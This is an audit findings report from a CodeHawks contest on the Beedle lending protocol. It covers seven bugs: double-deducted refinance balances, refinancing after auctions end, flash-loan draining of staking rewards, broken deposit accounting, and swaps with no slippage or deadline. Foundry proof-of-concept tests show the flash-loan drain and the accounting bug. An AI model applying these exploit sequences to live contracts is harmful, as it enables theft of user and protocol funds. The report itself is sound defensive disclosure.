# Beedle - Oracle free perpetual lending - Findings Report

# Table of contents
- ## [Contest Summary](#contest-summary)
- ## [Results Summary](#results-summary)
- ## High Risk Findings
    - ### [H-01. Refinancing a loan will wrongly reduce the available balance of the new pool twice](#H-01)
    - ### [H-02. Refinancing and repaying loan can be done even after an auction was finished](#H-02)
    - ### [H-03. Staking deposit, claim and withdraw do not have any lockup period, entire protocol available rewards can be drained via flashloan](#H-03)
    - ### [H-04. Depositing in the Staking contract does not increase user claimable funds](#H-04)
    - ### [H-05. `Fees::sellProfits` does not allow for slippage protection; protocol funds will be lost to sandwich attacks](#H-05)
- ## Medium Risk Findings
    - ### [M-01. Setting borrower fees to 0 permits the borrow functionality to be completely DoS](#M-01)
    - ### [M-02. `Fees::sellProfits` does not allow user to supply deadline, which may cause further user financial loss](#M-02)



# <a id='contest-summary'></a>Contest Summary

### Sponsor: BeedleFi

### Dates: Jul 24th, 2023 - Aug 7th, 2023

[See more contest details here](https://www.codehawks.com/contests/clkbo1fa20009jr08nyyf9wbx)

# <a id='results-summary'></a>Results Summary

### Number of findings:
   - High: 5
   - Medium: 2
   - Low: 0


# High Risk Findings

## <a id='H-01'></a>H-01. Refinancing a loan will wrongly reduce the available balance of the new pool twice            

### Relevant GitHub Links
	
https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L635-L637

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L697-L698

## Summary

When refinancing a loan, at one point in the logic, the new pool takes up the newly calculated debt (that includes the old debt and interest plus fees). This new debt, however is incorrectly deducted twice leading to lender funds being stuck in the contract.

## Vulnerability Details

Refinancing a loan via `Lender:refinance` updates the new pool's balance by subtracting the necessary debt. This misstakenly is done twice:

- [first time](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L635-L637) (the correct time) 

```Solidity
    // now lets deduct our tokens from the new pool
    _updatePoolBalance(poolId, pools[poolId].poolBalance - debt);
    pools[poolId].outstandingLoans += debt;
```

where [`Lender::_updatePoolBalance`](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L729-L735) is:

```Solidity
    /// @notice update the balance of a pool and emit the event
    /// @param poolId the id of the pool to update
    /// @param newBalance the new balance of the pool
    function _updatePoolBalance(bytes32 poolId, uint256 newBalance) internal {
        pools[poolId].poolBalance = newBalance;
        emit PoolBalanceUpdated(poolId, newBalance);
    }
```

- [second time](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L697-L698) (should be deleted)

```Solidity
    // update pool balance
    pools[poolId].poolBalance -= debt;
```

## Impact

Lender funds will be permanently stuck in the contract due to internal accounting issue.

## Tools Used 

Manual analysis.

## Recommend Mitigation

Delete the second pool updated from line [698](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L698)

## <a id='H-02'></a>H-02. Refinancing and repaying loan can be done even after an auction was finished            

### Relevant GitHub Links
	
https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L591-L609

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L292-L307

## Summary

Lenders of the Beedle protocol can choose to start a refinancing auction, at the end of which, if nobody choose to buy the loan from them, they can seize the loan collateral from the borrower. The borrower always has the option to refinance his loan to a better offer, even during the live auction. This is normal and good. The issue is that the borrower is allowed to refinance and repay his loan even **after** an auction was finished, before the lender seized his rightfully earned collateral.

## Vulnerability Details

Lender can start an auction via `Lender::startAuction` which [sets the auction start time](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L447-L448):

```Solidity
        // set the auction start timestamp
        loans[loanId].auctionStartTimestamp = block.timestamp;
```

After this point, a new lender may take up the loan by calling `Lender::buyLoan` but only [during the auction period](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L468-L472)

```Solidity
    // validate the loan
    if (loan.auctionStartTimestamp == type(uint256).max)
        revert AuctionNotStarted();
    if (block.timestamp > loan.auctionStartTimestamp + loan.auctionLength)
        revert AuctionEnded();
```

[When the auction is finished](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L554-L559), the original lender can seize the collateral via `Lender::seizeLoan`

```Solidity
    if (loan.auctionStartTimestamp == type(uint256).max)
        revert AuctionNotStarted();
    if (
        block.timestamp <
        loan.auctionStartTimestamp + loan.auctionLength
    ) revert AuctionNotEnded();
```

The issue lies with the ability for a borrower to [refinance his loan even after the auction is done](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L591-L609), as there are no checks in `Lender::refinance` with regards to auction logic and [auction start time is reset](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L692), making `Lender::seizeLoan` revert

```Solidity
    loans[loanId].auctionStartTimestamp = type(uint256).max;
```

and the same with [Lender::repay](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L292-L307).

## Impact

Lender loses his entitled collateral if the defaulter lender refinances his loan **after** an auction has expired, by front-running him.

## Tools Used 

Manual analysis and past contests trauma.

## Recommend Mitigation

In `Lender::refinance` add a check similar to that of `Lender::buyLoan`, for each loan, that, if an auction was started, it now myst be ended.
Example implementation:

```diff
diff --git a/src/Lender.sol b/src/Lender.sol
index d04d14f..7d42b4c 100644
--- a/src/Lender.sol
+++ b/src/Lender.sol
@@ -607,6 +607,9 @@ contract Lender is Ownable {
             // validate the loan
             if (msg.sender != loan.borrower) revert Unauthorized();
 
+            if (block.timestamp > loan.auctionStartTimestamp + loan.auctionLength)
+                revert AuctionEnded();
+
             // get the pool info
             Pool memory pool = pools[poolId];
             // validate the new loan

```


Add the same check in `Lender::repay`.

## <a id='H-03'></a>H-03. Staking deposit, claim and withdraw do not have any lockup period, entire protocol available rewards can be drained via flashloan            

### Relevant GitHub Links
	
https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Staking.sol#L36-L58

## Summary

When staking via the `Staking` contract, users can deposit, withdraw and claim rewards all in the same transactions since none of the functions have any lockup period.
This leaves the staking contract vulnerable to FlashLoans where a malicious actor deposits a large amount, claims all available rewards and then withdraws.

Note, this is after the issue with deposits not working is fixed.

## Vulnerability Details

`Staking::deposit`, `Staking::withdraw` and `Staking::claim` have [no limitation](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Staking.sol#L36-L58) with regards to lockup periods:

```Solidity
    /// @notice deposit tokens to stake
    /// @param _amount the amount to deposit
    function deposit(uint _amount) external {
        TKN.transferFrom(msg.sender, address(this), _amount);
        updateFor(msg.sender);
        balances[msg.sender] += _amount;
    }


    /// @notice withdraw tokens from stake
    /// @param _amount the amount to withdraw
    function withdraw(uint _amount) external {
        updateFor(msg.sender);
        balances[msg.sender] -= _amount;
        TKN.transfer(msg.sender, _amount);
    }
    
    /// @notice claim rewards
    function claim() external {
        updateFor(msg.sender);
        WETH.transfer(msg.sender, claimable[msg.sender]);
        claimable[msg.sender] = 0;
        balance = WETH.balanceOf(address(this));
    }
```

A malicious actor can simply flash loan a large amount of tokens, deposit them, claim the fees, withdraw the tokens and pay back the flash loan.

Coded POC:

Create a file `test\Staking.t.sol` with the following code:

```Solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "../src/Staking.sol";
import "../src/Beedle.sol";
import "forge-std/Test.sol";

contract WETH9 is ERC20 {

    constructor () ERC20("WETH", "WETH") {}

    function name() public pure override returns (string memory) {
        return "Test ERC20";
    }

    function symbol() public pure override returns (string memory) {
        return "WETH";
    }

    function mint(address _to, uint256 _amount) public {
        _mint(_to, _amount);
    }
}

contract StakingTest is Test {

    Beedle public beedle;
    WETH9 public weth;

    Staking public staking;

    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public user3 = makeAddr("user3");

    function setUp() public {
        beedle = new Beedle();
        weth = new WETH9();
        staking = new Staking(address(beedle), address(weth));
        beedle.mint(user1, 1000e18);
        beedle.mint(user2, 1000e18);
        beedle.mint(user3, 1000e18);

        vm.startPrank(user1);
        beedle.approve(address(staking), 1000e18);
        staking.deposit(1000e18);
        vm.stopPrank();

        vm.startPrank(user2);
        beedle.approve(address(staking), 1000e18);
        staking.deposit(1000e18);
        vm.stopPrank();

        vm.startPrank(user3);
        beedle.approve(address(staking), 1000e18);
        staking.deposit(1000e18);
        vm.stopPrank();

        weth.mint(address(staking), 100e18);
    }

    function testFlashLoan() public { 
        address maliciousUser = makeAddr("maliciousUser");

        // imitate a flash loan being called
        beedle.mint(maliciousUser, 10000e18);

        console.log("Malicious User before:  ", weth.balanceOf(maliciousUser));
        console.log("Staking Contract before:", weth.balanceOf(address(staking)));

        vm.startPrank(maliciousUser);        
        beedle.approve(address(staking), 10000e18);
        staking.deposit(10000e18);        
        staking.claim();
        staking.withdraw(10000e18);
        vm.stopPrank();

        console.log("Malicious User after:  ", weth.balanceOf(maliciousUser));
        console.log("Staking Contract after:", weth.balanceOf(address(staking)));
    }
}

```

and run it via `forge test --match-test testFlashLoan -vv`. Output will be:

```
Running 1 test for test/Staking.t.sol:StakingTest
[PASS] testFlashLoan() (gas: 228082)
Logs:
  Malicious User before:   0
  Staking Contract before: 100000000000000000000
  Malicious User after:   76923076923076920000
  Staking Contract after: 23076923076923080000
```

For this test we can see in the output that a malicious user has drained ~77% of all pool funds with one transaction.

## Impact

Staking pool funds can be drained via FlashLoan

## Tools Used 

Manual analysis

## Recommend Mitigation

Add a minimum lockup period for deposits; do not permit deposit, claim, withdraw to be done in the same transaction.
## <a id='H-04'></a>H-04. Depositing in the Staking contract does not increase user claimable funds            

### Relevant GitHub Links
	
https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Staking.sol#L38-L42

## Summary

Depositing in the Staking contract does not increase user claimable funds due to an error with claimable internal accounting.

## Vulnerability Details

The [`Staking::deposit`](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Staking.sol#L38-L42) function:
```Solidity
    function deposit(uint _amount) external {
        TKN.transferFrom(msg.sender, address(this), _amount);
        updateFor(msg.sender);
        balances[msg.sender] += _amount;
    }
```
Function:
1. transfers tokens from sender to staking contract
2. updates internal accounting including claimable funds
3. updates the internal accounting variable that indicates that the user has further increased his balance

Because 3 is made before 2, user is set as having no claimable rewards.

Coded POC:

Create a file `test\Staking.t.sol` with the following code:

```Solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "../src/Staking.sol";
import "../src/Beedle.sol";
import "forge-std/Test.sol";

contract WETH9 is ERC20 {

    constructor () ERC20("WETH", "WETH") {}

    function name() public pure override returns (string memory) {
        return "Test ERC20";
    }

    function symbol() public pure override returns (string memory) {
        return "WETH";
    }

    function mint(address _to, uint256 _amount) public {
        _mint(_to, _amount);
    }
}

contract StakingTest is Test {

    Beedle public beedle;
    WETH9 public weth;

    Staking public staking;

    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public user3 = makeAddr("user3");

    function setUp() public {
        beedle = new Beedle();
        weth = new WETH9();
        staking = new Staking(address(beedle), address(weth));
        beedle.mint(user1, 1000e18);
        beedle.mint(user2, 1000e18);
        beedle.mint(user3, 1000e18);

        vm.startPrank(user1);
        beedle.approve(address(staking), 1000e18);
        staking.deposit(1000e18);
        vm.stopPrank();

        vm.startPrank(user2);
        beedle.approve(address(staking), 1000e18);
        staking.deposit(1000e18);
        vm.stopPrank();

        vm.startPrank(user3);
        beedle.approve(address(staking), 1000e18);
        staking.deposit(1000e18);
        vm.stopPrank();

        weth.mint(address(staking), 100e18);
    }

    function testDepositDoesNotIncreaseClaimable() public {        
        
        address user4 = makeAddr("user4");

        // imitate a flash loan being called
        beedle.mint(user4, 1000e18);

        vm.startPrank(user4);
        beedle.approve(address(staking), 10000e18);
        
        console.log("staking.claimable(user4) before deposit:", staking.claimable(user4));
        assertEq(staking.claimable(user4), 0);
        staking.deposit(1000e18);
        assertEq(staking.claimable(user4), 0);
        console.log("staking.claimable(user4) after deposit: ", staking.claimable(user4));
        vm.stopPrank();
    }
}
```

and run it via `forge test --match-test testDepositDoesNotIncreaseClaimable -vv`. Output will be:

```
Running 1 test for test/Staking.t.sol:StakingTest
[PASS] testDepositDoesNotIncreaseClaimable() (gas: 185233)
Logs:
  staking.claimable(user4) before deposit: 0
  staking.claimable(user4) after deposit:  0
```

## Impact

Users have no incentive to deposit tokens into the staking contract as they will get nothing in return.

## Tools Used 

Manual review

## Recommend Mitigation

Move the Balance update before calling `updateFor`. Example change:

```Solidity
    function deposit(uint _amount) external {
        TKN.transferFrom(msg.sender, address(this), _amount);
        balances[msg.sender] += _amount;
        updateFor(msg.sender);        
    }
```
## <a id='H-05'></a>H-05. `Fees::sellProfits` does not allow for slippage protection; protocol funds will be lost to sandwich attacks            

### Relevant GitHub Links
	
https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Fees.sol#L30-L40

## Summary

By using `Fees::sellProfits`, any amount of fees that are accumulated up to that point in it will be swapped for WETH and sent to the staking contract.
Since swapping is done without slippage protection, any swap can be easily sandwiched leading to protocol losses.

Also, because anyone can call `sellProfits` it is even easier for it to be included in an attack as a malicious caller can simply chain the executions one after another and himself trigger the attack.

## Vulnerability Details

Swapping is done using Uniswap V3 router (ISwapRouter) with the [following swap arguments](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Fees.sol#L30-L40):

```Solidity
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: _profits,
                tokenOut: WETH,
                fee: 3000,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: amount,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
```

Leaving `amountOutMinimum` as 0 is a significant issue and will surely result protocol funds lost due to it.

Theoretical POC:
- `alice` wants to move what profits exist from the Fees contract to the staking contract and calls `sellProfits`
- `bob`'s MEV bot sees that `alice`'s transaction does not have slippage so it initiates a sandwich attack on the transactions
    - the bot buys the token before `alice`'s execution (also using a flashloan), front-running-it and making the price grow by 20%. 
    - `alice`'s execution is done, buying less tokens then first speculated
    - `bob`'s bot also fired a back-run execution, within the same transaction, that sells all tokens bought, basically gaining a profit due to `alice`s buy

Since a malicious party can initiate this attack whenever he pleases since `sellProfits` is callable by anyone this issue is especially severe.

## Impact

Protocol fee rewards will be lost due to sandwich attacks.

## Tools Used 

Manual review

## Recommend Mitigation

- Add `amountOutMinimum` as an extra parameter to sellProfits function and set in the `ExactInputSingleParams`. This way, calling 3rd party can protect protocol funds from being stolen.
- Also, either add a minimum percentage to `amountOutMinimum` or add access control to `sellProfits`. If this is not done, a malicious party may still call the function but using no slippage to achieve the same damage.
		
# Medium Risk Findings

## <a id='M-01'></a>M-01. Setting borrower fees to 0 permits the borrow functionality to be completely DoS            

### Relevant GitHub Links
	
https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L720-L727

## Summary

If the protocol decides for whatever reason to set the protocol borrowing fee to 0 (example to encourage users to use the protocol), then a malicious actor can DoS all borrow operations by:
1. front-running any loan operation, fully borrowing all available pool tokens
2. normal user transaction would revert as there are no more tokens to borrow in the pool
3. malicious actor would also back-run the repaying of all his debt to the pool

By doing this, borrowing from any pool can be blocked. Also, the cost required to perform this attack is very low (no interest/fee to be paid, only gas cost required) and the attack results in the DoS of one of the most crucial feature of the protocol, i.e. borrow.

## Vulnerability Details

When initiation a borrow, [a borrower fee is deducted](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L264-L267) from the overall debt to be encored and sent to the protocol.

```Solidity
    // calculate the fees
    uint256 fees = (debt * borrowerFee) / 10000;
    // transfer fees
    IERC20(loan.loanToken).transfer(feeReceiver, fees);
```

Also, when repaying a debt, the [a lender fee is paid plus an extra interest to the pool](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L316-L327):

```Solidity
    // transfer the loan tokens from the borrower to the pool
    IERC20(loan.loanToken).transferFrom(
        msg.sender,
        address(this),
        loan.debt + lenderInterest
    );
    // transfer the protocol fee to the fee receiver
    IERC20(loan.loanToken).transferFrom(
        msg.sender,
        feeReceiver,
        protocolInterest
    );
```

where the value for `lenderInterest` and `protocolInterest` is [calculate](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L296-L301) using the [`_calculateInterest` function](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L720-L727) as such:

```Solidity
    function _calculateInterest(
        Loan memory l
    ) internal view returns (uint256 interest, uint256 fees) {
        uint256 timeElapsed = block.timestamp - l.startTimestamp;
        interest = (l.interestRate * l.debt * timeElapsed) / 10000 / 365 days;
        fees = (lenderFee * interest) / 10000;
        interest -= fees;
    }
```

From the above implementations we see that:
- borrowing fees are 0 if the variable `borrowerFee` is 0 
    
    ```
    fees = (debt * borrowerFee) / 10000;
         = (debt * 0) / 10000;
         = 0; 
   ```

- if done in the same transaction, when repaying, fees are calculated based on `timeElapsed` which is 0 resulting in both `lenderInterest` and `protocolInterest` being 0:
 
    ```
            uint256 timeElapsed = block.timestamp - l.startTimestamp;
                                = block.timestamp - block.timestamp
                                = 0
            
            interest = (l.interestRate * l.debt * timeElapsed) / 10000 / 365 days;
                     = (l.interestRate * l.debt * 0) / 10000 / 365 days;
                     = 0;

            fees = (lenderFee * interest) / 10000;
                 = (lenderFee * 0) / 10000;
                 = 0;
    ```

as such, no fees are deducted in a complete borrow + repay cycle. 

This behavior can be abused in the following way, a theoretical POC:
- `eve` (protocol owner) just launched the protocol and wants to encourage adoption so he drops the `borrowerFee` to 0
- `alice` wants to borrow using the protocol so she initiates a transaction
- `bob`, who wants `eve`'s project to fail, front-runs `alice`'s borrow with his own and [borrows all available pool balance](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L268-L269)
- `alice`'s borrow will now revert due to an [underflow on updating pool balance](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L261-L263) (because there is no more available balance to be used)
- `bob` also launched a back-run call that repays his loan completely

## Impact

Protocol borrow operation is completely blocked under certain conditions.

## Tools Used 

Manual analysis and similar issues in other audits.

## Recommend Mitigation

Modify the `_calculateInterest` to attribute a default protocol fee as to make this attack economically unsustainable.

The simplest alternative is to not allow the setting of borrower fees to 0. However this brings some limitations, as protocol may want to weaver any fees at one point but could not because of this situation.

## <a id='M-02'></a>M-02. `Fees::sellProfits` does not allow user to supply deadline, which may cause further user financial loss            

### Relevant GitHub Links
	
https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Fees.sol#L30-L40

## Summary

By using `Fees::sellProfits`, any amount of fees that are accumulated up to that point in it will be swapped for WETH and sent to the staking contract.

The function does not allow users to supply their own deadline as the deadline parameter when calling UniswapV3 swap. Is simply passed in as current `block.timestamp` in which transaction occurs. This effectively means that transaction has no deadline, which means that swap transaction may be included anytime by validators and remain pending in mempool, potentially exposing users to sandwich attacks by attackers or MEV bots or leading to token loss due to lower prices .

## Vulnerability Details

Swapping is done using Uniswap V3 router (ISwapRouter) with the [following swap arguments](https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Fees.sol#L30-L40):

```Solidity
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: _profits,
                tokenOut: WETH,
                fee: 3000,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: amount,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
```

Leaving `deadline` as `block.timestamp` .

Consider the following scenario:

- `alice` wants to transfer any protocol fee revenue to the staking contract, she initiates a sell
- transaction is submitted to the mempool, however, `alice` chose a transaction fee that is too low for validators to be interested in including her transaction in a block. 
- transaction stays pending in the mempool for extended periods, which could be hours, days, weeks, or even longer
- when the average gas fee dropped far enough for `alice`'s transaction to become interesting again for miners to include it, her swap will be executed. In the meantime, the price of fee reward token could have drastically decreased. She has unknowingly performed a bad trade due to the pending transaction she forgot about.

## Impact

Protocol fee rewards will be lost due to sandwich attacks.

## Tools Used 

Manual review and usage of other similar findings.

## Recommend Mitigation

Allow users to supply their own deadline parameter.




